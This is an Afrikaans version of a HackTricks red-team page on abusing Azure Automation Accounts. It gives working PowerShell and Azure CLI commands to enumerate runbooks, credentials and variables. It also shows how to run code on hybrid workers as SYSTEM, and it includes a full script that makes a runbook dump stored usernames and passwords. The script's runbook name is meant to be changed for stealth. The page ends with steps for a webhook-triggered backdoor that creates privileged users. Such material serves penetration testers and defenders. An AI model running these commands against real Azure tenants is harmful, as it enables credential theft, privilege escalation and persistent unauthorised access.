Az - Automation Account

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Van die dokumentasie: Azure Automation lewer 'n op die wolk gebaseerde outomatisering, bedryfstelselopdaterings en konfigurasiediens wat konsekwente bestuur ondersteun oor jou Azure- en nie-Azure-omgewings. Dit sluit prosesoutomatisering, konfigurasiebestuur, opdateringsbestuur, gedeelde funksies en heterogene kenmerke in.

Dit is soos "geskeduleerde take" in Azure wat jou in staat stel om dinge (aksies of selfs skripte) uit te voer om die Azure-omgewing te bestuur, te kontroleer en te konfigureer.

Run As-rekening

Wanneer die Run as-rekening gebruik word, skep dit 'n Azure AD toepassing met 'n selfondertekende sertifikaat, skep 'n diensprinsipaalkonto en ken die Contributor-rol toe vir die rekening in die huidige intekening (baie voorregte). Microsoft beveel aan om 'n Bestuurde Identiteit vir die Outomatiese Rekening te gebruik.

Dit sal verwyder word op 30 September 2023 en vervang word deur Bestuurde Identiteite.

Runbooks & Take

Runbooks stel jou in staat om arbitrêre PowerShell-kode uit te voer. Dit kan misbruik word deur 'n aanvaller om die toestemmings van die gekoppelde hoofakteur (indien enige) te steel. In die kode van Runbooks kan jy ook sensitiewe inligting (soos geloofsbriewe) vind.

As jy die take kan lees, doen dit aangesien hulle die uitset van die uitvoering bevat (potensiële sensitiewe inligting).

Gaan na Outomatiese Rekeninge --> <Kies Outomatiese Rekening> --> Runbooks/Take/Hibriede werkersgroepe/Wagtertake/geloofsbriewe/veranderlikes/sertifikate/verbindings

Hibriede Werker

'n Runbook kan in 'n houer binne Azure of in 'n Hibriede Werker (nie-Azure-masjien) uitgevoer word. Die Log Analytics Agent word op die VM geïnstalleer om dit as 'n hibriede werker te registreer. Die hibriede werker-take word uitgevoer as SYSTEM op Windows en as die nxautomation-rekening op Linux. Elke Hibriede Werker word geregistreer in 'n Hibriede Werker-groep.

Daarom, as jy kan kies om 'n Runbook in 'n Windows Hibriede Werker uit te voer, sal jy arbitrêre opdragte uitvoer binne 'n eksterne masjien as System (mooi pivot-tegniek).

Kompromittering van Konfigurasie (SC)

Van die dokumentasie: Azure Automation State Configuration is 'n Azure-konfigurasiebestuurdienste wat jou in staat stel om PowerShell Desired State Configuration (DSC) konfigurasies vir knooppunte in enige wolk of on-premises datacenter te skryf, te bestuur en saam te stel. Die diens voer ook DSC-hulpbronne in en ken konfigurasies toe aan teikennooie, alles in die wolk. Jy kan toegang kry tot Azure Automation State Configuration in die Azure-paneel deur State configuration (DSC) onder Configuration Management te kies.

Sensitiewe inligting kan in hierdie konfigurasies gevind word.

RCE

Dit is moontlik om SC te misbruik om arbitrêre skripte in die bestuurde masjiene uit te voer.

pageAz - State Configuration RCE

Enumerasie

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Skep 'n Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Uitlek van geloofsbriewe en veranderlikes wat in 'n outomatiseringsrekening gedefinieer is deur middel van 'n uitvoeringsboek

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Jy kan dieselfde ding doen deur 'n bestaande Run Book te wysig, en vanaf die webkonsol.

Stappe vir die opstel van 'n geoutomatiseerde hoogs bevoorregte gebruiker skepping

1. Inisialiseer 'n Outomatiseringsrekening

  • Aksie Vereis: Skep 'n nuwe Outomatiseringsrekening.

  • Spesifieke Instelling: Maak seker dat "Skep Azure Run As-rekening" geaktiveer is.

2. Voer In en Stel Runbook op

  • Bron: Laai die voorbeeld runbook af vanaf MicroBurst GitHub Repository.

  • Aksies Vereis:

  • Voer die runbook in die Outomatiseringsrekening in.

  • Publiseer die runbook om dit uitvoerbaar te maak.

  • Koppel 'n webhook aan die runbook om eksterne aansporings moontlik te maak.

3. Stel AzureAD Module op

  • Aksie Vereis: Voeg die AzureAD-module by die Outomatiseringsrekening.

  • Addisionele Stap: Maak seker dat alle Azure Outomatiseringsmodules opgedateer is na hul nuutste weergawes.

4. Toewysing van Regte

  • Rolle om toe te wys:

  • Gebruikeradministrateur

  • Subskripsie-eienaar

  • Teiken: Ken hierdie rolle toe aan die Outomatiseringsrekening vir nodige bevoorregtinge.

5. Bewustheid van Potensiële Toegangverlies

  • Nota: Wees bewus dat die opstel van sulke outomatisering kan lei tot die verlies van beheer oor die intekening.

6. Trigger Gebruikerskepping

  • Trigger die webhook om 'n nuwe gebruiker te skep deur 'n POST-versoek te stuur.

  • Gebruik die PowerShell-skrips wat voorsien word, maak seker om die $uri te vervang met jou werklike webhook-URL en die $AccountInfo op te dateer met die gewenste gebruikersnaam en wagwoord.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated